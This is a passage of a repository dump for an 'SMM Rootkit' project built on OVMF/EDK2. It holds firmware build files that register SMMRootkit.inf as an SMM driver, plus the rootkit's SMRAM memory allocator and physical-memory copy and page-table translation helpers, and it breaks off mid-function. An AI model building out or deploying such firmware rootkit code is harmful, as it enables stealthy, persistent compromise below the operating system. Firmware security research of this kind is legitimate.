NULL|MdeModulePkg/Library/VarCheckUefiLib/VarCheckUefiLib.inf
}
MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmmRuntimeDxe.inf
SMMRootkit/SMMRootkit.inf {
<LibraryClasses>
DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
}
!else
#
# Variable driver stack (non-SMM)
#
OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf
OvmfPkg/EmuVariableFvbRuntimeDxe/Fvb.inf {
<LibraryClasses>
PlatformFvbLib|OvmfPkg/Library/EmuVariableFvbLib/EmuVariableFvbLib.inf
}
MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteDxe.inf
MdeModulePkg/Universal/Variable/RuntimeDxe/VariableRuntimeDxe.inf {
<LibraryClasses>
NULL|MdeModulePkg/Library/VarCheckUefiLib/VarCheckUefiLib.inf
}
!endif
================================================
FILE: SMM Rootkit/OvmfPkg/OvmfPkgX64.fdf
================================================
## @file
# Open Virtual Machine Firmware: FDF
#
# Copyright (c) 2006 - 2017, Intel Corporation. All rights reserved.<BR>
# (C) Copyright 2016 Hewlett Packard Enterprise Development LP<BR>
#
# This program and the accompanying materials
# are licensed and made available under the terms and conditions of the BSD License
# which accompanies this distribution. The full text of the license may be found at
# http://opensource.org/licenses/bsd-license.php
#
# THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
# WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
#
##
################################################################################
[Defines]
!include OvmfPkg.fdf.inc
#
# Build the variable store and the firmware code as one unified flash device
# image.
#
[FD.OVMF]
BaseAddress = $(FW_BASE_ADDRESS)
Size = $(FW_SIZE)
ErasePolarity = 1
BlockSize = $(BLOCK_SIZE)
NumBlocks = $(FW_BLOCKS)
!include VarStore.fdf.inc
$(VARS_SIZE)|$(FVMAIN_SIZE)
FV = FVMAIN_COMPACT
$(SECFV_OFFSET)|$(SECFV_SIZE)
FV = SECFV
#
# Build the variable store and the firmware code as separate flash device
# images.
#
[FD.OVMF_VARS]
BaseAddress = $(FW_BASE_ADDRESS)
Size = $(VARS_SIZE)
ErasePolarity = 1
BlockSize = $(BLOCK_SIZE)
NumBlocks = $(VARS_BLOCKS)
!include VarStore.fdf.inc
[FD.OVMF_CODE]
BaseAddress = $(CODE_BASE_ADDRESS)
Size = $(CODE_SIZE)
ErasePolarity = 1
BlockSize = $(BLOCK_SIZE)
NumBlocks = $(CODE_BLOCKS)
0x00000000|$(FVMAIN_SIZE)
FV = FVMAIN_COMPACT
$(FVMAIN_SIZE)|$(SECFV_SIZE)
FV = SECFV
################################################################################
[FD.MEMFD]
BaseAddress = $(MEMFD_BASE_ADDRESS)
Size = 0xB00000
ErasePolarity = 1
BlockSize = 0x10000
NumBlocks = 0xB0
0x000000|0x006000
gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPageTablesBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPageTablesSize
0x006000|0x001000
gUefiOvmfPkgTokenSpaceGuid.PcdOvmfLockBoxStorageBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfLockBoxStorageSize
0x007000|0x001000
gEfiMdePkgTokenSpaceGuid.PcdGuidedExtractHandlerTableAddress|gUefiOvmfPkgTokenSpaceGuid.PcdGuidedExtractHandlerTableSize
0x010000|0x010000
gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPeiTempRamBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPeiTempRamSize
0x020000|0x0E0000
gUefiOvmfPkgTokenSpaceGuid.PcdOvmfPeiMemFvBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfPeiMemFvSize
FV = PEIFV
0x100000|0xA00000
gUefiOvmfPkgTokenSpaceGuid.PcdOvmfDxeMemFvBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfDxeMemFvSize
FV = DXEFV
################################################################################
[FV.SECFV]
FvNameGuid = 763BED0D-DE9F-48F5-81F1-3E90E1B1A015
BlockSize = 0x1000
FvAlignment = 16
ERASE_POLARITY = 1
MEMORY_MAPPED = TRUE
STICKY_WRITE = TRUE
LOCK_CAP = TRUE
LOCK_STATUS = TRUE
WRITE_DISABLED_CAP = TRUE
WRITE_ENABLED_CAP = TRUE
WRITE_STATUS = TRUE
WRITE_LOCK_CAP = TRUE
WRITE_LOCK_STATUS = TRUE
READ_DISABLED_CAP = TRUE
READ_ENABLED_CAP = TRUE
READ_STATUS = TRUE
READ_LOCK_CAP = TRUE
READ_LOCK_STATUS = TRUE
#
# SEC Phase modules
#
# The code in this FV handles the initial firmware startup, and
# decompresses the PEI and DXE FVs which handles the rest of the boot sequence.
#
INF OvmfPkg/Sec/SecMain.inf
INF RuleOverride=RESET_VECTOR OvmfPkg/ResetVector/ResetVector.inf
################################################################################
[FV.PEIFV]
FvNameGuid = 6938079B-B503-4E3D-9D24-B28337A25806
BlockSize = 0x10000
FvAlignment = 16
ERASE_POLARITY = 1
MEMORY_MAPPED = TRUE
STICKY_WRITE = TRUE
LOCK_CAP = TRUE
LOCK_STATUS = TRUE
WRITE_DISABLED_CAP = TRUE
WRITE_ENABLED_CAP = TRUE
WRITE_STATUS = TRUE
WRITE_LOCK_CAP = TRUE
WRITE_LOCK_STATUS = TRUE
READ_DISABLED_CAP = TRUE
READ_ENABLED_CAP = TRUE
READ_STATUS = TRUE
READ_LOCK_CAP = TRUE
READ_LOCK_STATUS = TRUE
APRIORI PEI {
INF MdeModulePkg/Universal/PCD/Pei/Pcd.inf
}
#
# PEI Phase modules
#
INF MdeModulePkg/Core/Pei/PeiMain.inf
INF MdeModulePkg/Universal/PCD/Pei/Pcd.inf
INF MdeModulePkg/Universal/ReportStatusCodeRouter/Pei/ReportStatusCodeRouterPei.inf
INF MdeModulePkg/Universal/StatusCodeHandler/Pei/StatusCodeHandlerPei.inf
INF OvmfPkg/PlatformPei/PlatformPei.inf
INF MdeModulePkg/Core/DxeIplPeim/DxeIpl.inf
INF UefiCpuPkg/Universal/Acpi/S3Resume2Pei/S3Resume2Pei.inf
!if $(SMM_REQUIRE) == TRUE
INF OvmfPkg/SmmAccess/SmmAccessPei.inf
!endif
INF UefiCpuPkg/CpuMpPei/CpuMpPei.inf
################################################################################
[FV.DXEFV]
FvForceRebase = FALSE
FvNameGuid = 7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1
BlockSize = 0x10000
FvAlignment = 16
ERASE_POLARITY = 1
MEMORY_MAPPED = TRUE
STICKY_WRITE = TRUE
LOCK_CAP = TRUE
LOCK_STATUS = TRUE
WRITE_DISABLED_CAP = TRUE
WRITE_ENABLED_CAP = TRUE
WRITE_STATUS = TRUE
WRITE_LOCK_CAP = TRUE
WRITE_LOCK_STATUS = TRUE
READ_DISABLED_CAP = TRUE
READ_ENABLED_CAP = TRUE
READ_STATUS = TRUE
READ_LOCK_CAP = TRUE
READ_LOCK_STATUS = TRUE
APRIORI DXE {
INF MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf
INF MdeModulePkg/Universal/PCD/Dxe/Pcd.inf
INF OvmfPkg/AmdSevDxe/AmdSevDxe.inf
!if $(SMM_REQUIRE) == FALSE
INF OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf
!endif
}
#
# DXE Phase modules
#
INF MdeModulePkg/Core/Dxe/DxeMain.inf
INF MdeModulePkg/Universal/ReportStatusCodeRouter/RuntimeDxe/ReportStatusCodeRouterRuntimeDxe.inf
INF MdeModulePkg/Universal/StatusCodeHandler/RuntimeDxe/StatusCodeHandlerRuntimeDxe.inf
INF MdeModulePkg/Universal/PCD/Dxe/Pcd.inf
INF MdeModulePkg/Core/RuntimeDxe/RuntimeDxe.inf
INF MdeModulePkg/Universal/SecurityStubDxe/SecurityStubDxe.inf
INF MdeModulePkg/Universal/EbcDxe/EbcDxe.inf
INF PcAtChipsetPkg/8259InterruptControllerDxe/8259.inf
INF UefiCpuPkg/CpuIo2Dxe/CpuIo2Dxe.inf
INF UefiCpuPkg/CpuDxe/CpuDxe.inf
INF PcAtChipsetPkg/8254TimerDxe/8254Timer.inf
INF OvmfPkg/IncompatiblePciDeviceSupportDxe/IncompatiblePciDeviceSupport.inf
INF OvmfPkg/PciHotPlugInitDxe/PciHotPlugInit.inf
INF MdeModulePkg/Bus/Pci/PciHostBridgeDxe/PciHostBridgeDxe.inf
INF MdeModulePkg/Bus/Pci/PciBusDxe/PciBusDxe.inf
INF MdeModulePkg/Universal/ResetSystemRuntimeDxe/ResetSystemRuntimeDxe.inf
INF MdeModulePkg/Universal/Metronome/Metronome.inf
INF PcAtChipsetPkg/PcatRealTimeClockRuntimeDxe/PcatRealTimeClockRuntimeDxe.inf
INF OvmfPkg/BlockMmioToBlockIoDxe/BlockIo.inf
INF OvmfPkg/VirtioPciDeviceDxe/VirtioPciDeviceDxe.inf
INF OvmfPkg/Virtio10Dxe/Virtio10.inf
INF OvmfPkg/VirtioBlkDxe/VirtioBlk.inf
INF OvmfPkg/VirtioScsiDxe/VirtioScsi.inf
INF OvmfPkg/VirtioRngDxe/VirtioRng.inf
INF OvmfPkg/XenIoPciDxe/XenIoPciDxe.inf
INF OvmfPkg/XenBusDxe/XenBusDxe.inf
INF OvmfPkg/XenPvBlkDxe/XenPvBlkDxe.inf
!if $(SECURE_BOOT_ENABLE) == TRUE
INF SecurityPkg/VariableAuthenticated/SecureBootConfigDxe/SecureBootConfigDxe.inf
!endif
INF MdeModulePkg/Universal/WatchdogTimerDxe/WatchdogTimer.inf
INF MdeModulePkg/Universal/MonotonicCounterRuntimeDxe/MonotonicCounterRuntimeDxe.inf
INF MdeModulePkg/Universal/CapsuleRuntimeDxe/CapsuleRuntimeDxe.inf
INF MdeModulePkg/Universal/Console/ConPlatformDxe/ConPlatformDxe.inf
INF MdeModulePkg/Universal/Console/ConSplitterDxe/ConSplitterDxe.inf
INF MdeModulePkg/Universal/Console/GraphicsConsoleDxe/GraphicsConsoleDxe.inf
INF MdeModulePkg/Universal/Console/TerminalDxe/TerminalDxe.inf
INF MdeModulePkg/Universal/DriverHealthManagerDxe/DriverHealthManagerDxe.inf
INF MdeModulePkg/Universal/BdsDxe/BdsDxe.inf
INF MdeModulePkg/Application/UiApp/UiApp.inf
INF MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf
INF MdeModulePkg/Universal/PrintDxe/PrintDxe.inf
INF MdeModulePkg/Universal/Disk/DiskIoDxe/DiskIoDxe.inf
INF MdeModulePkg/Universal/Disk/PartitionDxe/PartitionDxe.inf
INF MdeModulePkg/Universal/Disk/RamDiskDxe/RamDiskDxe.inf
INF MdeModulePkg/Universal/Disk/UnicodeCollation/EnglishDxe/EnglishDxe.inf
INF MdeModulePkg/Bus/Scsi/ScsiBusDxe/ScsiBusDxe.inf
INF MdeModulePkg/Bus/Scsi/ScsiDiskDxe/ScsiDiskDxe.inf
INF OvmfPkg/SataControllerDxe/SataControllerDxe.inf
INF MdeModulePkg/Bus/Ata/AtaAtapiPassThru/AtaAtapiPassThru.inf
INF MdeModulePkg/Bus/Ata/AtaBusDxe/AtaBusDxe.inf
INF MdeModulePkg/Bus/Pci/NvmExpressDxe/NvmExpressDxe.inf
INF MdeModulePkg/Universal/HiiDatabaseDxe/HiiDatabaseDxe.inf
INF MdeModulePkg/Universal/SetupBrowserDxe/SetupBrowserDxe.inf
INF MdeModulePkg/Universal/DisplayEngineDxe/DisplayEngineDxe.inf
INF MdeModulePkg/Universal/MemoryTest/NullMemoryTestDxe/NullMemoryTestDxe.inf
INF PcAtChipsetPkg/IsaAcpiDxe/IsaAcpi.inf
INF IntelFrameworkModulePkg/Bus/Isa/IsaBusDxe/IsaBusDxe.inf
!ifndef $(SOURCE_DEBUG_ENABLE)
INF IntelFrameworkModulePkg/Bus/Isa/IsaSerialDxe/IsaSerialDxe.inf
!endif
INF IntelFrameworkModulePkg/Bus/Isa/Ps2KeyboardDxe/Ps2keyboardDxe.inf
INF IntelFrameworkModulePkg/Bus/Isa/IsaFloppyDxe/IsaFloppyDxe.inf
INF MdeModulePkg/Universal/SmbiosDxe/SmbiosDxe.inf
INF OvmfPkg/SmbiosPlatformDxe/SmbiosPlatformDxe.inf
INF MdeModulePkg/Universal/Acpi/AcpiTableDxe/AcpiTableDxe.inf
INF OvmfPkg/AcpiPlatformDxe/AcpiPlatformDxe.inf
INF RuleOverride=ACPITABLE OvmfPkg/AcpiTables/AcpiTables.inf
INF MdeModulePkg/Universal/Acpi/S3SaveStateDxe/S3SaveStateDxe.inf
INF MdeModulePkg/Universal/Acpi/BootScriptExecutorDxe/BootScriptExecutorDxe.inf
INF MdeModulePkg/Universal/Acpi/BootGraphicsResourceTableDxe/BootGraphicsResourceTableDxe.inf
INF FatPkg/EnhancedFatDxe/Fat.inf
!ifndef $(USE_OLD_SHELL)
INF ShellPkg/DynamicCommand/TftpDynamicCommand/TftpDynamicCommand.inf
INF ShellPkg/Application/Shell/Shell.inf
!else
INF RuleOverride = BINARY EdkShellBinPkg/FullShell/FullShell.inf
!endif
INF MdeModulePkg/Logo/LogoDxe.inf
#
# Network modules
#
!if $(E1000_ENABLE)
FILE DRIVER = 5D695E11-9B3F-4b83-B25F-4A8D5D69BE07 {
SECTION PE32 = Intel3.5/EFIX64/E3522X2.EFI
}
!endif
INF MdeModulePkg/Universal/Network/SnpDxe/SnpDxe.inf
INF MdeModulePkg/Universal/Network/DpcDxe/DpcDxe.inf
INF MdeModulePkg/Universal/Network/MnpDxe/MnpDxe.inf
INF MdeModulePkg/Universal/Network/VlanConfigDxe/VlanConfigDxe.inf
INF MdeModulePkg/Universal/Network/ArpDxe/ArpDxe.inf
INF MdeModulePkg/Universal/Network/Dhcp4Dxe/Dhcp4Dxe.inf
INF MdeModulePkg/Universal/Network/Ip4Dxe/Ip4Dxe.inf
INF MdeModulePkg/Universal/Network/Mtftp4Dxe/Mtftp4Dxe.inf
INF MdeModulePkg/Universal/Network/Udp4Dxe/Udp4Dxe.inf
!if $(NETWORK_IP6_ENABLE) == TRUE
INF NetworkPkg/Ip6Dxe/Ip6Dxe.inf
INF NetworkPkg/TcpDxe/TcpDxe.inf
INF NetworkPkg/Udp6Dxe/Udp6Dxe.inf
INF NetworkPkg/Dhcp6Dxe/Dhcp6Dxe.inf
INF NetworkPkg/Mtftp6Dxe/Mtftp6Dxe.inf
INF NetworkPkg/UefiPxeBcDxe/UefiPxeBcDxe.inf
INF NetworkPkg/IScsiDxe/IScsiDxe.inf
!else
INF MdeModulePkg/Universal/Network/Tcp4Dxe/Tcp4Dxe.inf
INF MdeModulePkg/Universal/Network/UefiPxeBcDxe/UefiPxeBcDxe.inf
INF MdeModulePkg/Universal/Network/IScsiDxe/IScsiDxe.inf
!endif
!if $(HTTP_BOOT_ENABLE) == TRUE
INF NetworkPkg/DnsDxe/DnsDxe.inf
INF NetworkPkg/HttpUtilitiesDxe/HttpUtilitiesDxe.inf
INF NetworkPkg/HttpDxe/HttpDxe.inf
INF NetworkPkg/HttpBootDxe/HttpBootDxe.inf
!endif
!if $(TLS_ENABLE) == TRUE
INF NetworkPkg/TlsDxe/TlsDxe.inf
INF NetworkPkg/TlsAuthConfigDxe/TlsAuthConfigDxe.inf
!endif
INF OvmfPkg/VirtioNetDxe/VirtioNet.inf
#
# Usb Support
#
INF MdeModulePkg/Bus/Pci/UhciDxe/UhciDxe.inf
INF MdeModulePkg/Bus/Pci/EhciDxe/EhciDxe.inf
INF MdeModulePkg/Bus/Pci/XhciDxe/XhciDxe.inf
INF MdeModulePkg/Bus/Usb/UsbBusDxe/UsbBusDxe.inf
INF MdeModulePkg/Bus/Usb/UsbKbDxe/UsbKbDxe.inf
INF MdeModulePkg/Bus/Usb/UsbMassStorageDxe/UsbMassStorageDxe.inf
!ifdef $(CSM_ENABLE)
INF IntelFrameworkModulePkg/Csm/BiosThunk/VideoDxe/VideoDxe.inf
INF IntelFrameworkModulePkg/Csm/LegacyBiosDxe/LegacyBiosDxe.inf
INF RuleOverride=CSM OvmfPkg/Csm/Csm16/Csm16.inf
!endif
INF OvmfPkg/QemuVideoDxe/QemuVideoDxe.inf
INF OvmfPkg/VirtioGpuDxe/VirtioGpu.inf
INF OvmfPkg/PlatformDxe/Platform.inf
INF OvmfPkg/AmdSevDxe/AmdSevDxe.inf
INF OvmfPkg/IoMmuDxe/IoMmuDxe.inf
!if $(SMM_REQUIRE) == TRUE
INF OvmfPkg/SmmAccess/SmmAccess2Dxe.inf
INF OvmfPkg/SmmControl2Dxe/SmmControl2Dxe.inf
INF UefiCpuPkg/CpuS3DataDxe/CpuS3DataDxe.inf
INF MdeModulePkg/Core/PiSmmCore/PiSmmIpl.inf
INF MdeModulePkg/Core/PiSmmCore/PiSmmCore.inf
INF SMMRootkit/SMMRootkit.inf
INF UefiCpuPkg/CpuIo2Smm/CpuIo2Smm.inf
INF MdeModulePkg/Universal/LockBox/SmmLockBox/SmmLockBox.inf
INF UefiCpuPkg/PiSmmCpuDxeSmm/PiSmmCpuDxeSmm.inf
#
# Variable driver stack (SMM)
#
INF OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesSmm.inf
INF MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteSmm.inf
INF MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmm.inf
INF MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmmRuntimeDxe.inf
!else
#
# Variable driver stack (non-SMM)
#
INF OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf
INF OvmfPkg/EmuVariableFvbRuntimeDxe/Fvb.inf
INF MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteDxe.inf
INF MdeModulePkg/Universal/Variable/RuntimeDxe/VariableRuntimeDxe.inf
!endif
################################################################################
[FV.FVMAIN_COMPACT]
FvNameGuid = 48DB5E17-707C-472D-91CD-1613E7EF51B0
FvAlignment = 16
ERASE_POLARITY = 1
MEMORY_MAPPED = TRUE
STICKY_WRITE = TRUE
LOCK_CAP = TRUE
LOCK_STATUS = TRUE
WRITE_DISABLED_CAP = TRUE
WRITE_ENABLED_CAP = TRUE
WRITE_STATUS = TRUE
WRITE_LOCK_CAP = TRUE
WRITE_LOCK_STATUS = TRUE
READ_DISABLED_CAP = TRUE
READ_ENABLED_CAP = TRUE
READ_STATUS = TRUE
READ_LOCK_CAP = TRUE
READ_LOCK_STATUS = TRUE
FILE FV_IMAGE = 9E21FD93-9C72-4c15-8C4B-E77F1DB2D792 {
SECTION GUIDED EE4E5898-3914-4259-9D6E-DC7BD79403CF PROCESSING_REQUIRED = TRUE {
#
# These firmware volumes will have files placed in them uncompressed,
# and then both firmware volumes will be compressed in a single
# compression operation in order to achieve better overall compression.
#
SECTION FV_IMAGE = PEIFV
SECTION FV_IMAGE = DXEFV
}
}
!include DecomprScratchEnd.fdf.inc
################################################################################
[Rule.Common.SEC]
FILE SEC = $(NAMED_GUID) {
PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi
UI STRING ="$(MODULE_NAME)" Optional
VERSION STRING ="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
}
[Rule.Common.PEI_CORE]
FILE PEI_CORE = $(NAMED_GUID) {
PE32 PE32 Align=Auto $(INF_OUTPUT)/$(MODULE_NAME).efi
UI STRING ="$(MODULE_NAME)" Optional
VERSION STRING ="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
}
[Rule.Common.PEIM]
FILE PEIM = $(NAMED_GUID) {
PEI_DEPEX PEI_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex
PE32 PE32 Align=Auto $(INF_OUTPUT)/$(MODULE_NAME).efi
UI STRING="$(MODULE_NAME)" Optional
VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
}
[Rule.Common.DXE_CORE]
FILE DXE_CORE = $(NAMED_GUID) {
PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi
UI STRING="$(MODULE_NAME)" Optional
VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
}
[Rule.Common.DXE_DRIVER]
FILE DRIVER = $(NAMED_GUID) {
DXE_DEPEX DXE_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex
PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi
UI STRING="$(MODULE_NAME)" Optional
VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
RAW ACPI Optional |.acpi
RAW ASL Optional |.aml
}
[Rule.Common.DXE_RUNTIME_DRIVER]
FILE DRIVER = $(NAMED_GUID) {
DXE_DEPEX DXE_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex
PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi
UI STRING="$(MODULE_NAME)" Optional
VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
}
[Rule.Common.UEFI_DRIVER]
FILE DRIVER = $(NAMED_GUID) {
DXE_DEPEX DXE_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex
PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi
UI STRING="$(MODULE_NAME)" Optional
VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
}
[Rule.Common.UEFI_DRIVER.BINARY]
FILE DRIVER = $(NAMED_GUID) {
DXE_DEPEX DXE_DEPEX Optional |.depex
PE32 PE32 |.efi
UI STRING="$(MODULE_NAME)" Optional
VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
}
[Rule.Common.UEFI_APPLICATION]
FILE APPLICATION = $(NAMED_GUID) {
PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi
UI STRING="$(MODULE_NAME)" Optional
VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
}
[Rule.Common.UEFI_APPLICATION.BINARY]
FILE APPLICATION = $(NAMED_GUID) {
PE32 PE32 |.efi
UI STRING="$(MODULE_NAME)" Optional
VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
}
[Rule.Common.USER_DEFINED.ACPITABLE]
FILE FREEFORM = $(NAMED_GUID) {
RAW ACPI |.acpi
RAW ASL |.aml
}
[Rule.Common.USER_DEFINED.CSM]
FILE FREEFORM = $(NAMED_GUID) {
RAW BIN |.bin
}
[Rule.Common.SEC.RESET_VECTOR]
FILE RAW = $(NAMED_GUID) {
RAW BIN Align = 16 |.bin
}
[Rule.Common.SMM_CORE]
FILE SMM_CORE = $(NAMED_GUID) {
PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi
UI STRING="$(MODULE_NAME)" Optional
VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
}
[Rule.Common.DXE_SMM_DRIVER]
FILE SMM = $(NAMED_GUID) {
SMM_DEPEX SMM_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex
PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi
UI STRING="$(MODULE_NAME)" Optional
VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
}
================================================
FILE: SMM Rootkit/SMMRootkit/.gitignore
================================================
.vscode/
================================================
FILE: SMM Rootkit/SMMRootkit/MemManager.c
================================================
#include "MemManager.h"
static BOOLEAN memPoolInitialized;
static PMemAllocEntry_t memPool;
static UINT32 pagesInPool;
static UINT64 memAllocated;
// from SMMRootkit.c
extern EFI_SMM_SYSTEM_TABLE2 *gSmst2;
UINT64 GetMemAllocated()
{
return memAllocated;
}
BOOLEAN InitMemManager(UINT32 pages)
{
memPoolInitialized = FALSE;
EFI_PHYSICAL_ADDRESS physAddr;
if (gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, pages, &physAddr) == EFI_SUCCESS)
{
// set pool pointer
memPool = (PMemAllocEntry_t)physAddr;
// nullify the pool
UINT8 *pool = (UINT8 *)memPool;
for (UINT32 i = 0; i < pages * 4096; i++)
{
pool[i] = (UINT8)0x00;
}
// set the global vars, needed by malloc
memPoolInitialized = TRUE;
pagesInPool = pages;
// allocate the first block
malloc(0);
}
return memPoolInitialized;
}
VOID *palloc(UINT32 pages)
{
EFI_PHYSICAL_ADDRESS physAddr;
if (gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, pages, &physAddr) == EFI_SUCCESS)
{
return (VOID *)physAddr;
}
return NULL;
}
VOID pfree(VOID *address, UINT32 pages)
{
gSmst2->SmmFreePages((EFI_PHYSICAL_ADDRESS)address, pages);
}
VOID *malloc(UINT32 size)
{
// sanity check
if (!memPoolInitialized)
{
SerialPrintStringDebug("FAIL: malloc pool was not set up!\r\n");
return NULL;
}
PMemAllocEntry_t curr = memPool;
PMemAllocEntry_t newEntry = NULL;
// find the first allocatable location and return if possible
while (curr->next)
{
if ((UINT8 *)curr + curr->size + 24 + size < (UINT8 *)curr->next)
{
newEntry = (PMemAllocEntry_t)((UINT8 *)curr + curr->size);
newEntry->next = curr->next;
newEntry->prev = curr;
newEntry->size = size + 24;
curr->next->prev = newEntry;
curr->next = newEntry;
memAllocated += size + 24;
return newEntry->data;
}
curr = curr->next;
}
// we came to the end of the list,
// check that the allocation will not exceed the slab boundaries
if ((UINT8 *)curr + curr->size + 24 + size > ((UINT8 *)memPool + (pagesInPool * 4096)))
{
SerialPrintStringDebug("FAIL: malloc failed for size ");
SerialPrintNumberDebug(size, 10);
SerialPrintStringDebug("\r\n");
return NULL;
}
// Is this the first allocation?
if (curr->size == 0 && curr == memPool)
{
curr->size = 24 + size;
memAllocated += size + 24;
return curr->data;
}
// normal allocation for normal entries
newEntry = (PMemAllocEntry_t)((UINT8 *)curr + curr->size);
newEntry->next = curr->next;
newEntry->prev = curr;
newEntry->size = size + 24;
curr->next = newEntry;
memAllocated += size + 24;
return newEntry->data;
}
VOID free(VOID *address)
{
// sanity check
if (!memPoolInitialized)
{
return;
}
PMemAllocEntry_t curr = memPool;
while (curr->next)
{
curr = curr->next;
if (curr->data == address)
{
if (curr->next)
{
curr->next->prev = curr->prev;
}
curr->prev->next = curr->next;
curr->prev = NULL;
curr->next = NULL;
memAllocated -= curr->size + 24;
curr->size = 0;
}
}
}
================================================
FILE: SMM Rootkit/SMMRootkit/MemManager.h
================================================
#ifndef __smmrootkit_memory_manager_h__
#define __smmrootkit_memory_manager_h__
#include <Uefi.h>
#include <Base.h>
#include <Protocol/SmmBase2.h>
#include <Library/MemoryAllocationLib.h>
#include "serial.h"
/*
* A very simple malloc implementation
*
* The dynamically allocatable memory is first initialized with
* gSmst2->SmmAllocatePages, then given as requested, until the
* memory in firstly allocated efi runtime mem runs out
*
* The implementation uses a simple linked list, with first entry
* starting from byte 0 of the allocated efi memory page area.
*
* If area[0].next = nullptr, there are no allocs currently.
* If area[0] = &area[0], there is at least one allocation
* PMemAllocEntry_t->next points to the next entry, if it is null,
* there are no more entries in the list.
*/
typedef struct memallocentry MemAllocEntry_t, *PMemAllocEntry_t;
#ifdef __GNUC__
struct memallocentry
{
PMemAllocEntry_t prev;
PMemAllocEntry_t next;
UINT64 size;
UINT8 data[];
} __attribute__((packed));
#endif
#ifdef _MSC_VER
#define PACK(__Declaration__) __pragma(pack(push, 1)) __Declaration__ __pragma(pack(pop))
PACK(struct memallocentry {
PMemAllocEntry_t prev;
PMemAllocEntry_t next;
UINT64 size;
UINT8 data[];
});
#endif
/*
* Initializes the memory manager with pages number of pages.
* @return TRUE if succeeded, FALSE otherwise
*/
BOOLEAN InitMemManager(UINT32 pages);
/*
* Allocates number of pages, returns the physical address to allocated memory
*/
VOID *palloc(UINT32 pages);
/*
* Frees number of pages from the physical address allocated by palloc
*/
VOID pfree(VOID *address, UINT32 pages);
/*
* Tries to dynamically allocate memory
*
* @return pointer to allocated memory if succeeded, NULL otherwise
*/
VOID *malloc(UINT32 size);
/*
* Tries to free a memory address from before dynamically
* allocated memory
*/
VOID free(VOID *address);
/*
* Returns the total amount of bytes allocated from the pool
*
*/
UINT64 GetMemAllocated();
#endif
================================================
FILE: SMM Rootkit/SMMRootkit/Memory.c
================================================
#include "Memory.h"
// from SMMRootkit.c
extern EFI_SMM_SYSTEM_TABLE2 *gSmst2;
BOOLEAN p_memCpy(UINT64 dest, UINT64 src, size_t n, BOOLEAN verbose)
{
// Check if the address ranges are in allowed range
if ((IsAddressValid((UINT64)src) == FALSE || IsAddressValid((UINT64)(src + n - 1)) == FALSE))
{
SerialPrintString("[p_memCpy] Aborted duo to disallowed memory range \r\n");
return FALSE;
}
// Typecast src and dest addresses to (char *)
CHAR8 *csrc = (char *)src;
CHAR8 *cdest = (char *)dest;
// Copy contents of src[] to dest[]
for (INT32 i = 0; i < n; i++)
cdest[i] = csrc[i];
return TRUE;
}
UINT64 VTOP(UINT64 address, UINT64 directoryBase, BOOLEAN verbose)
{
if (address == 0 && verbose)
{
SerialPrintStringDebug("[VTOP] address is 0 \r\n");
return 0;
}
if (directoryBase == 0 && verbose)
{
SerialPrintStringDebug("[VTOP] directoryBase is 0 \r\n");
return 0;
}
directoryBase &= ~0xf;
UINT64 pageOffset = address & ~(~0ul << PAGE_OFFSET_SIZE);
UINT64 pte = ((address >> 12) & (0x1ffll));
UINT64 pt = ((address >> 21) & (0x1ffll));
